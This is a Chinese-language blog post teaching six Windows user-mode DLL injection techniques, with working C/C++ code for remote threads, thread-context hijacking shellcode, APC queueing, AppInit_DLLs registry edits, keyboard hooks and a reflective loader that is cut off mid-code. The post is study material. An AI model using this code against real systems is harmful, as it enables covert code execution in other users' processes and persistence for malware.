學習了這麼久,終於寫下了第一篇博客,總結下Ring3層註入Dll的方法。我把註入的方法分成六類,分別是:1.創建新線程、2.設置線程上下背景文,修改寄存器、3.插入Apc隊列、4.修改註冊表、5.掛鉤視窗消息、6.遠程手動實現LoadLibrary。 ...
0x01.前言
提到Dll的註入,立馬能夠想到的方法就有很多,比如利用遠程線程、Apc等等,這裡我對Ring3層的Dll註入學習做一個總結吧。
我把註入的方法分成六類,分別是:1.創建新線程、2.設置線程上下背景文,修改寄存器、3.插入Apc隊列、4.修改註冊表、5.掛鉤視窗消息、6.遠程手動實現LoadLibrary。
那麼下麵就開始學習之旅吧!
0x02.預備工作
在涉及到註入的程式中,提升程式的許可權自然是必不可少的,這裡我提供了兩個封裝的函數,都可以用於提權。第一個是通過許可權令牌來調整許可權;第二個是通過ntdll.dll的導出的未文檔化函數RtlAdjustPrivilege來調整許可權。
// 傳入參數 SE_DEBUG_NAME,提升到調試許可權 BOOL GrantPriviledge(WCHAR* PriviledgeName) { TOKEN_PRIVILEGES TokenPrivileges, OldPrivileges; DWORD dwReturnLength = sizeof(OldPrivileges); HANDLE TokenHandle = NULL; LUID uID; // 打開許可權令牌 if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &TokenHandle)) { if (GetLastError() != ERROR_NO_TOKEN) { return FALSE; } if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle)) { return FALSE; } } if (!LookupPrivilegeValue(NULL, PriviledgeName, &uID)) // 通過許可權名稱查找uID { CloseHandle(TokenHandle); return FALSE; } TokenPrivileges.PrivilegeCount = 1; // 要提升的許可權個數 TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 動態數組,數組大小根據Count的數目 TokenPrivileges.Privileges[0].Luid = uID; // 在這裡我們進行調整許可權 if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), &OldPrivileges, &dwReturnLength)) { CloseHandle(TokenHandle); return FALSE; } // 成功了 CloseHandle(TokenHandle); return TRUE; }許可權令牌
// 傳入參數 SE_DEBUG_PRIVILEGE,提升到調試許可權 #define SE_DEBUG_PRIVILEGE (20L) typedef NTSTATUS(NTAPI * pfnRtlAdjustPrivilege)( UINT32 Privilege, BOOLEAN Enable, BOOLEAN Client, PBOOLEAN WasEnabled); BOOL GrantPriviledge(IN UINT32 Priviledge) { pfnRtlAdjustPrivilege RtlAdjustPrivilege = NULL; BOOLEAN WasEnable = FALSE; RtlAdjustPrivilege = (pfnRtlAdjustPrivilege)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlAdjustPrivilege"); if (RtlAdjustPrivilege == NULL) { return FALSE; } RtlAdjustPrivilege(Priviledge, TRUE, FALSE, &WasEnable); return TRUE; }RtlAdjustPrivilege
緊接著,既然我們要對目標進程註入Dll,那麼獲得目標進程的Id是不可或缺的吧,因為OpenProcess是肯定會使用的,這裡我也提供了兩種通過目標進程映像名稱獲得進程Id的方法。第一種是最常見的使用TlHelp創建系統的進程快照;第二種是藉助Psapi枚舉系列函數,不過這個方法我實現的有缺憾,32位下不能得到64位進程的Id。
// 使用ToolHelp系列函數 #include <TlHelp32.h> BOOL GetProcessIdByProcessImageName(IN PWCHAR wzProcessImageName, OUT PUINT32 ProcessId) { HANDLE ProcessSnapshotHandle = INVALID_HANDLE_VALUE; PROCESSENTRY32 ProcessEntry32 = { 0 }; ProcessEntry32.dwSize = sizeof(PROCESSENTRY32); // 初始化PROCESSENTRY32結構 ProcessSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 給系統所有的進程快照 if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE) { return FALSE; } if (Process32First(ProcessSnapshotHandle, &ProcessEntry32)) // 找到第一個 { do { if (lstrcmpi(ProcessEntry32.szExeFile, wzProcessImageName) == 0) // 不區分大小寫 { *ProcessId = ProcessEntry32.th32ProcessID; break; } } while (Process32Next(ProcessSnapshotHandle, &ProcessEntry32)); } CloseHandle(ProcessSnapshotHandle); ProcessSnapshotHandle = INVALID_HANDLE_VALUE; if (*ProcessId == 0) { return FALSE; } return TRUE; }TlHelp
// 使用Psapi系列枚舉函數 #include <Psapi.h> BOOL GetProcessIdByProcessImageName(IN PWCHAR wzProcessImageName, OUT PUINT32 ProcessId) { DWORD dwProcessesId[1024] = { 0 }; DWORD BytesReturned = 0; UINT32 ProcessCount = 0; // 獲得當前操作系統中的所有進程Id,保存在dwProcessesId數組裡 if (!EnumProcesses(dwProcessesId, sizeof(dwProcessesId), &BytesReturned)) { return FALSE; } ProcessCount = BytesReturned / sizeof(DWORD); // 遍歷 for (INT i = 0; i < ProcessCount; i++) { HMODULE ModuleBase = NULL; WCHAR wzModuleBaseName[MAX_PATH] = { 0 }; HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessesId[i]); if (ProcessHandle == NULL) { continue; } if (EnumProcessModulesEx(ProcessHandle, &ModuleBase, sizeof(HMODULE), &BytesReturned, LIST_MODULES_ALL)) { // 獲得進程第一模塊名稱 GetModuleBaseName(ProcessHandle, ModuleBase, wzModuleBaseName, MAX_PATH * sizeof(WCHAR)); } CloseHandle(ProcessHandle); ProcessHandle = NULL; if (lstrcmpi(wzModuleBaseName, wzProcessImageName) == 0) // 不區分大小寫 { *ProcessId = dwProcessesId[i]; break; } } if (*ProcessId == 0) { return FALSE; } return TRUE; }Psapi
然後在比如插入Apc隊列、掛起線程等等操作中,需要對目標進程的線程操作,所以獲得線程Id也有必要,同樣的我也提供了兩種通過進程Id獲得線程Id的方法。第一個仍然是使用TlHelp創建系統的線程快照,把所有的線程存入vector模板里(供Apc註入使用);第二個是利用ZwQuerySystemInformation大法,枚舉系統進程信息,這個方法我只返回了一個線程Id,已經夠用了。
// 枚舉指定進程Id的所有線程,壓入模板中 #include <vector> #include <TlHelp32.h> using namespace std; BOOL GetThreadIdByProcessId(IN UINT32 ProcessId, OUT vector<UINT32>& ThreadIdVector) { HANDLE ThreadSnapshotHandle = NULL; THREADENTRY32 ThreadEntry32 = { 0 }; ThreadEntry32.dwSize = sizeof(THREADENTRY32); ThreadSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); // 給系統所有的線程快照 if (ThreadSnapshotHandle == INVALID_HANDLE_VALUE) { return FALSE; } if (Thread32First(ThreadSnapshotHandle, &ThreadEntry32)) { do { if (ThreadEntry32.th32OwnerProcessID == ProcessId) { ThreadIdVector.emplace_back(ThreadEntry32.th32ThreadID); // 把該進程的所有線程id壓入模板 } } while (Thread32Next(ThreadSnapshotHandle, &ThreadEntry32)); } CloseHandle(ThreadSnapshotHandle); ThreadSnapshotHandle = NULL; return TRUE; }TlHelp
// ZwQuerySystemInformation+SystemProcessInformation typedef NTSTATUS(NTAPI * pfnZwQuerySystemInformation)( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN UINT32 SystemInformationLength, OUT PUINT32 ReturnLength OPTIONAL); BOOL GetThreadIdByProcessId(IN UINT32 ProcessId, OUT PUINT32 ThreadId) { BOOL bOk = FALSE; NTSTATUS Status = 0; PVOID BufferData = NULL; PSYSTEM_PROCESS_INFO spi = NULL; pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL; ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwQuerySystemInformation"); if (ZwQuerySystemInformation == NULL) { return FALSE; } BufferData = malloc(1024 * 1024); if (!BufferData) { return FALSE; } // 在QuerySystemInformation系列函數中,查詢SystemProcessInformation時,必須提前申請好記憶體,不能先查詢得到長度再重新調用 Status = ZwQuerySystemInformation(SystemProcessInformation, BufferData, 1024 * 1024, NULL); if (!NT_SUCCESS(Status)) { free(BufferData); return FALSE; } spi = (PSYSTEM_PROCESS_INFO)BufferData; // 遍歷進程,找到我們的目標進程 while (TRUE) { bOk = FALSE; if (spi->UniqueProcessId == (HANDLE)ProcessId) { bOk = TRUE; break; } else if (spi->NextEntryOffset) { spi = (PSYSTEM_PROCESS_INFO)((PUINT8)spi + spi->NextEntryOffset); } else { break; } } if (bOk) { for (INT i = 0; i < spi->NumberOfThreads; i++) { // 返出找到的線程Id *ThreadId = (UINT32)spi->Threads[i].ClientId.UniqueThread; break; } } if (BufferData != NULL) { free(BufferData); } return bOk; }ZwQuerySystemInformation
嗯,目前為止,預備工作差不多完工,那我們就開始正題吧!
0x03.註入方法一 -- 創建新線程
創建新線程,也就是在目標進程里,創建一個線程為我們服務,而創建線程的方法我找到的有三種:1.CreateRemoteThread;2.NtCreateThreadEx;3.RtlCreateUserThread。
基本思路是:1.在目標進程記憶體空間申請記憶體;2.在剛申請的記憶體中寫入Dll完整路徑;3.創建新線程,去執行LoadLibrary,從而完成註入Dll。
ps:這裡直接使用從自己載入的kernel32模塊導出表中獲得LoadLibrary地址,是因為一般情況下,所有進程載入這類系統庫在記憶體中的地址相同!
因為只是創線程所使用的函數不一樣,所以下麵的代碼隨便放開一個創線程的步驟,屏蔽其他兩個,都是可以成功的,這裡我放開的是NtCreateThreadEx。
typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx) ( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer); #define NT_SUCCESS(x) ((x) >= 0) typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, *PCLIENT_ID; typedef NTSTATUS(NTAPI * pfnRtlCreateUserThread)( IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits OPTIONAL, IN SIZE_T StackReserve OPTIONAL, IN SIZE_T StackCommit OPTIONAL, IN PTHREAD_START_ROUTINE StartAddress, IN PVOID Parameter OPTIONAL, OUT PHANDLE ThreadHandle OPTIONAL, OUT PCLIENT_ID ClientId OPTIONAL); BOOL InjectDll(UINT32 ProcessId) { HANDLE ProcessHandle = NULL; ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); // 在對方進程空間申請記憶體,存儲Dll完整路徑 UINT32 DllFullPathLength = (strlen(DllFullPath) + 1); PVOID DllFullPathBufferData = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (DllFullPathBufferData == NULL) { CloseHandle(ProcessHandle); return FALSE; } // 將DllFullPath寫進剛剛申請的記憶體中 SIZE_T ReturnLength; BOOL bOk = WriteProcessMemory(ProcessHandle, DllFullPathBufferData, DllFullPath, strlen(DllFullPath) + 1, &ReturnLength); LPTHREAD_START_ROUTINE LoadLibraryAddress = NULL; HMODULE Kernel32Module = GetModuleHandle(L"Kernel32"); LoadLibraryAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32Module, "LoadLibraryA"); pfnNtCreateThreadEx NtCreateThreadEx = (pfnNtCreateThreadEx)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx"); if (NtCreateThreadEx == NULL) { CloseHandle(ProcessHandle); return FALSE; } HANDLE ThreadHandle = NULL; // 0x1FFFFF #define THREAD_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFFF) NtCreateThreadEx(&ThreadHandle, 0x1FFFFF, NULL, ProcessHandle, (LPTHREAD_START_ROUTINE)LoadLibraryAddress, DllFullPathBufferData, FALSE, NULL, NULL, NULL, NULL); /* pfnRtlCreateUserThread RtlCreateUserThread = (pfnRtlCreateUserThread)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlCreateUserThread"); HANDLE ThreadHandle = NULL; NTSTATUS Status = RtlCreateUserThread(ProcessHandle, NULL, FALSE, 0, 0, 0, LoadLibraryAddress, DllFullPathBufferData, &ThreadHandle, NULL); */ /* HANDLE ThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 0, LoadLibraryAddress, DllFullPathBufferData, 0, NULL); // CreateRemoteThread 函數 */ if (ThreadHandle == NULL) { CloseHandle(ProcessHandle); return FALSE; } if (WaitForSingleObject(ThreadHandle, INFINITE) == WAIT_FAILED) { return FALSE; } CloseHandle(ProcessHandle); CloseHandle(ThreadHandle); return TRUE; }
0x04.註入方法二 -- 設置線程上下背景文
設置線程上下背景文的主要目的是讓目標進程的某一線程轉去執行我們的代碼,然後再回來做他該做的事,而我們的代碼,就是一串由彙編硬編碼組成的ShellCode。
這串ShellCode做了三件事:1.傳入Dll完整路徑參數;2.呼叫LoadLibrary函數地址;3.返回原先的Eip或Rip。
這裡我選用的呼叫指令是ff 15 和 ff 25,在32位下為跳轉到15(25)指令後面位元組碼對應地址裡面存放的地址,在64位下15(25)指令後面四位元組存放的是偏移,該跳轉為跳轉到換算出來的地址裡面存放的地址,這裡我把偏移寫成0,以便於計算。
#ifdef _WIN64 // 測試 64 位 dll被註,Bug已修複 /* 0:019> u 0x000002b5d5f80000 000002b5`d5f80000 4883ec28 sub rsp,28h 000002b5`d5f80004 488d0d20000000 lea rcx,[000002b5`d5f8002b] 000002b5`d5f8000b ff1512000000 call qword ptr [000002b5`d5f80023] 000002b5`d5f80011 4883c428 add rsp,28h 000002b5`d5f80015 ff2500000000 jmp qword ptr [000002b5`d5f8001b] */ UINT8 ShellCode[0x100] = { 0x48,0x83,0xEC,0x28, // sub rsp ,28h 0x48,0x8D,0x0d, // [+4] lea rcx, 0x00,0x00,0x00,0x00, // [+7] DllNameOffset = [+43] - [+4] - 7 // call 跳偏移,到地址,解*號 0xff,0x15, // [+11] 0x00,0x00,0x00,0x00, // [+13] 0x48,0x83,0xc4,0x28, // [+17] add rsp,28h // jmp 跳偏移,到地址,解*號 0xff,0x25, // [+21] 0x00,0x00,0x00,0x00, // [+23] LoadLibraryAddressOffset // 存放原先的 rip 0x00,0x00,0x00,0x00, // [+27] 0x00,0x00,0x00,0x00, // [+31] // 跳板 loadlibrary地址 0x00,0x00,0x00,0x00, // [+35] 0x00,0x00,0x00,0x00, // [+39] // 存放dll完整路徑 // 0x00,0x00,0x00,0x00, // [+43] // 0x00,0x00,0x00,0x00 // [+47] // ...... }; #else // 測試 32 位 配合新寫的Dll可重覆註入 /* 0:005> u 0x00ca0000 00000000`00ca0000 60 pusha 00000000`00ca0001 9c pushfq 00000000`00ca0002 681d00ca00 push 0CA001Dh 00000000`00ca0007 ff151900ca00 call qword ptr [00000000`01940026] 00000000`00ca000d 9d popfq 00000000`00ca000e 61 popa 00000000`00ca000f ff251500ca00 jmp qword ptr [00000000`0194002a] */ UINT8 ShellCode[0x100] = { 0x60, // [+0] pusha 0x9c, // [+1] pushf 0x68, // [+2] push 0x00,0x00,0x00,0x00, // [+3] ShellCode + 0xff,0x15, // [+7] call 0x00,0x00,0x00,0x00, // [+9] LoadLibrary Addr Addr 0x9d, // [+13] popf 0x61, // [+14] popa 0xff,0x25, // [+15] jmp 0x00,0x00,0x00,0x00, // [+17] jmp eip // eip 地址 0x00,0x00,0x00,0x00, // [+21] // LoadLibrary 地址 0x00,0x00,0x00,0x00, // [+25] // DllFullPath 0x00,0x00,0x00,0x00 // [+29] }; #endif
整個註入過程由這些步驟組成:在目標進程申請記憶體(可執行記憶體) ---> 填充ShellCode需要的地址碼 ---> 將ShellCode寫入申請的記憶體 ---> SuspendThread(掛起線程)--->GetThreadContext(獲得線程上下背景文)---> 修改Context的Eip或Rip為ShellCode首地址 ---> SetThreadContext(設置剛修改過的Context)---> ResumeThread(恢複線程執行)。
BOOL Inject(IN UINT32 ProcessId, IN UINT32 ThreadId) { BOOL bOk = FALSE; CONTEXT ThreadContext = { 0 }; PVOID BufferData = NULL; HANDLE ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId); HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); // 首先掛起線程 SuspendThread(ThreadHandle); ThreadContext.ContextFlags = CONTEXT_ALL; if (GetThreadContext(ThreadHandle, &ThreadContext) == FALSE) { CloseHandle(ThreadHandle); CloseHandle(ProcessHandle); return FALSE; } BufferData = VirtualAllocEx(ProcessHandle, NULL, sizeof(ShellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (BufferData != NULL) { if (LoadLibraryWAddress != NULL) { #ifdef _WIN64 // ShellCode + 43處 存放完整路徑 PUINT8 v1 = ShellCode + 43; memcpy(v1, DllFullPath, (wcslen(DllFullPath) + 1) * sizeof(WCHAR)); UINT32 DllNameOffset = (UINT32)(((PUINT8)BufferData + 43) - ((PUINT8)BufferData + 4) - 7); *(PUINT32)(ShellCode + 7) = DllNameOffset; // ShellCode + 35處 放置 LoadLibrary 函數地址 *(PUINT64)(ShellCode + 35) = (UINT64)LoadLibraryWAddress; UINT32 LoadLibraryAddressOffset = (UINT32)(((PUINT8)BufferData + 35) - ((PUINT8)BufferData + 11) - 6); *(PUINT32)(ShellCode + 13) = LoadLibraryAddressOffset; // 放置 rip 地址 *(PUINT64)(ShellCode + 27) = ThreadContext.Rip; if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL)) { return FALSE; } ThreadContext.Rip = (UINT64)BufferData; #else PUINT8 v1 = ShellCode + 29; memcpy((char*)v1, DllFullPath, (wcslen(DllFullPath) + 1) * sizeof(WCHAR)); //這裡是要註入的DLL名字 *(PUINT32)(ShellCode + 3) = (UINT32)BufferData + 29; *(PUINT32)(ShellCode + 25) = LoadLibraryWAddress; //loadlibrary地址放入shellcode中 *(PUINT32)(ShellCode + 9) = (UINT32)BufferData + 25;//修改call 之後的地址 為目標空間存放 loaddlladdr的地址 ////////////////////////////////// *(PUINT32)(ShellCode + 21) = ThreadContext.Eip; *(PUINT32)(ShellCode + 17) = (UINT32)BufferData + 21;//修改jmp 之後為原來eip的地址 if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL)) { printf("write Process Error\n"); return FALSE; } ThreadContext.Eip = (UINT32)BufferData; #endif if (!SetThreadContext(ThreadHandle, &ThreadContext)) { printf("set thread context error\n"); return FALSE; } ResumeThread(ThreadHandle); printf("ShellCode 註入完成\r\n"); } } CloseHandle(ThreadHandle); CloseHandle(ProcessHandle); return TRUE; }
0x05.插入Apc隊列
Ring3層的Apc註入是不太穩定的,我的做法就是暴力的向目標進程的所有線程的UserMode Apc隊列(線程有兩個Apc隊列:Kernel和User)上插入Apc對象,等待他去執行該Apc里註冊的函數。而只有當線程處於alterable狀態時,才會查看Apc隊列是否有需要執行的註冊函數。
ps:正是因為不知道哪個線程會去處理Apc,所以感覺Ring3層Apc註入不如其他方法好使,不過Ring0層Apc註入還是比較穩定的。之前測試xp和win10都成功,win7下註explorer進程總是崩潰,後來捯飭半天,發現遍歷線程的時候從後往前遍歷著插入就不會崩潰Orz
int main() { ...... ThreadCount = ThreadIdVector.size(); for (INT i = ThreadCount - 1; i >= 0; i--) { UINT32 ThreadId = ThreadIdVector[i]; InjectDllByApc(ProcessId, ThreadId); } ...... } BOOL InjectDllByApc(IN UINT32 ProcessId, IN UINT32 ThreadId) { BOOL bOk = 0; HANDLE ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId); HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); UINT_PTR LoadLibraryAddress = 0; SIZE_T ReturnLength = 0; UINT32 DllFullPathLength = (strlen(DllFullPath) + 1); // 全局,申請一次記憶體 if (DllFullPathBufferData == NULL) { //申請記憶體 DllFullPathBufferData = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (DllFullPathBufferData == NULL) { CloseHandle(ProcessHandle); CloseHandle(ThreadHandle); return FALSE; } } // 避免之前寫操作失敗,每次重覆寫入 bOk = WriteProcessMemory(ProcessHandle, DllFullPathBufferData, DllFullPath, strlen(DllFullPath) + 1, &ReturnLength); if (bOk == FALSE) { CloseHandle(ProcessHandle); CloseHandle(ThreadHandle); return FALSE; } LoadLibraryAddress = (UINT_PTR)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryA"); if (LoadLibraryAddress == NULL) { CloseHandle(ProcessHandle); CloseHandle(ThreadHandle); return FALSE; } __try { QueueUserAPC((PAPCFUNC)LoadLibraryAddress, ThreadHandle, (UINT_PTR)DllFullPathBufferData); } __except (EXCEPTION_CONTINUE_EXECUTION) { } CloseHandle(ProcessHandle); CloseHandle(ThreadHandle); return TRUE; }
0x06.修改註冊表
註冊表註入算得上是全局Hook了吧,畢竟新創建的進程在載入User32.dll時,都會自動調用LoadLibrary去載入註冊表中某個表項鍵值里寫入的Dll路徑。
我們關心的這個註冊表項鍵是:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows,我們要設置的鍵值是AppInit_DLLs = “Dll完整路徑”,LoadAppInit_Dlls = 1(讓系統使用這個註冊表項)
ps:由於註入的Dll在進程創建的早期,所以在Dll中使用函數要格外小心,因為有的庫可能還沒載入上。
int main() { LSTATUS Status = 0; WCHAR* wzSubKey = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows"; HKEY hKey = NULL; // 打開註冊表 Status = RegOpenKeyExW(HKEY_LOCAL_MACHINE, // 要打開的主鍵 wzSubKey, // 要打開的子鍵名字地址 0, // 保留,傳0 KEY_ALL_ACCESS, // 打開的方式 &hKey); // 返回的子鍵句柄 if (Status != ERROR_SUCCESS) { return 0; } WCHAR* wzValueName = L"AppInit_DLLs"; DWORD dwValueType = 0; UINT8 ValueData[MAX_PATH] = { 0 }; DWORD dwReturnLength = 0; // 查詢註冊表 Status = RegQueryValueExW(hKey, // 子鍵句柄 wzValueName, // 待查詢鍵值的名稱 NULL, // 保留 &dwValueType, // 數據類型 ValueData, // 鍵值 &dwReturnLength); WCHAR wzDllFullPath[MAX_PATH] = { 0 }; GetCurrentDirectoryW(MAX_PATH, wzDllFullPath); #ifdef _WIN64 wcscat_s(wzDllFullPath, L"\\x64NormalDll.dll"); #else wcscat_s(wzDllFullPath, L"\\x86NormalDll.dll"); #endif // 設置鍵值 Status = RegSetValueExW(hKey, wzValueName, NULL, dwValueType, (CONST BYTE*)wzDllFullPath, (lstrlen(wzDllFullPath) + 1) * sizeof(WCHAR)); if (Status != ERROR_SUCCESS) { return 0; } wzValueName = L"LoadAppInit_DLLs"; DWORD dwLoadAppInit = 1; // 查詢註冊表 Status = RegQueryValueExW(hKey, wzValueName, NULL, &dwValueType, ValueData, &dwReturnLength); // 設置鍵值 Status = RegSetValueExW(hKey, wzValueName, NULL, dwValueType, (CONST BYTE*)&dwLoadAppInit, sizeof(DWORD)); if (Status != ERROR_SUCCESS) { return 0; } printf("Input Any Key To Resume\r\n"); getchar(); getchar(); // 恢復鍵值 dwLoadAppInit = 0; Status = RegQueryValueExW(hKey, wzValueName, NULL, &dwValueType, ValueData, &dwReturnLength); Status = RegSetValueExW(hKey, wzValueName, NULL, dwValueType, (CONST BYTE*)&dwLoadAppInit, sizeof(DWORD)); wzValueName = L"AppInit_DLLs"; ZeroMemory(wzDllFullPath, (lstrlen(wzDllFullPath) + 1) * sizeof(WCHAR)); Status = RegQueryValueExW(hKey, wzValueName, NULL, &dwValueType, ValueData, &dwReturnLength); Status = RegSetValueExW(hKey, wzValueName, NULL, dwValueType, (CONST BYTE*)wzDllFullPath, 0); return 0; }
0x07.掛鉤視窗消息
掛鉤視窗消息使用了MS提供的一個API介面SetWindowsHookEx,他的工作原理是給帶視窗的目標進程的某個線程的某個消息掛鉤上我們Dll導出的函數,一旦消息觸發,則導出函數就會被調用。前面學習到的幾種方法歸根結底是調用了LoadLibrary,而這個方法並沒有。
// 註入exe關鍵代碼 給目標線程的指定消息上下鉤,走進Dll導出函數 BOOL Inject(IN UINT32 ThreadId, OUT HHOOK& HookHandle) { HMODULE DllModule = LoadLibraryA(DllFullPath); FARPROC FunctionAddress = GetProcAddress(DllModule, "Sub_1"); HookHandle = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)FunctionAddress, DllModule, ThreadId); if (HookHandle == NULL) { return FALSE; } return TRUE; }
// 動態庫中導出函數 extern "C" __declspec(dllexport) VOID Sub_1() // 導出函數 { MessageBox(0, 0, 0, 0); }
0x08.遠程手動實現LoadLibrary
該方法學習自github上名叫ReflevtiveDllInjection,大體上分為兩個部分,exe和dll,下麵分別簡述。
exe:作為註入啟動程式,在目標進程申請一塊兒PAGE_EXECUTE_READWRITE記憶體,將Dll以文件格式直接寫入目標進程記憶體空間中,然後獲得導出函數"LoadDllByOEP"在文件中的偏移,使用CreateRemoteThread直接讓目標進程去執行LoadDllByOEP函數。
Dll:最關鍵導出 LoadDllByOEP 函數,在該函數里,首先通過目標進程載入模塊ntdll.dll的導出表中獲得NtFlushInstructionCache函數地址,在Kernel32.dll的導出表中獲得LoadLibraryA、GetProcAddress、VirtualAlloc函數地址;然後在進程記憶體空間里重新申請記憶體,拷貝自己的PE結構到記憶體里,接著修正IAT和重定向塊,最後調用模塊OEP,完成了手動實現LoadLibrary!
ps:寫代碼時參考《Windows PE權威指南》,對整個PE結構又有了新的認識。我有for迴圈強迫症。。這份代碼就全貼上了。
// InjectDllByOEP.cpp : 定義控制台應用程式的入口點。 // #include "stdafx.h" #include <Windows.h> #include <iostream> #include <TlHelp32.h> using namespace std; BOOL GrantPriviledge(WCHAR* PriviledgeName); UINT32 GetLoadDllByOEPOffsetInFile(PVOID DllBuffer); UINT32 RVAToOffset(UINT32 RVA, PIMAGE_NT_HEADERS NtHeader); BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId); HANDLE WINAPI LoadRemoteDll(HANDLE ProcessHandle, PVOID ModuleFileBaseAddress, UINT32 ModuleFileSize, LPVOID lParam); CHAR DllFullPath[MAX_PATH] = { 0 }; int main() { // 首先提權一波 if (GrantPriviledge(SE_DEBUG_NAME) == FALSE) { printf("GrantPriviledge Error\r\n"); } // 接著通過進程名得到進程id UINT32 ProcessId = 0; GetCurrentDirectoryA(MAX_PATH, DllFullPath); #ifdef _WIN64 // GetProcessIdByProcessImageName(L"Taskmgr.exe", &ProcessId); GetProcessIdByProcessImageName(L"explorer.exe", &ProcessId); strcat_s(DllFullPath, "\\x64LoadRemoteDll.dll");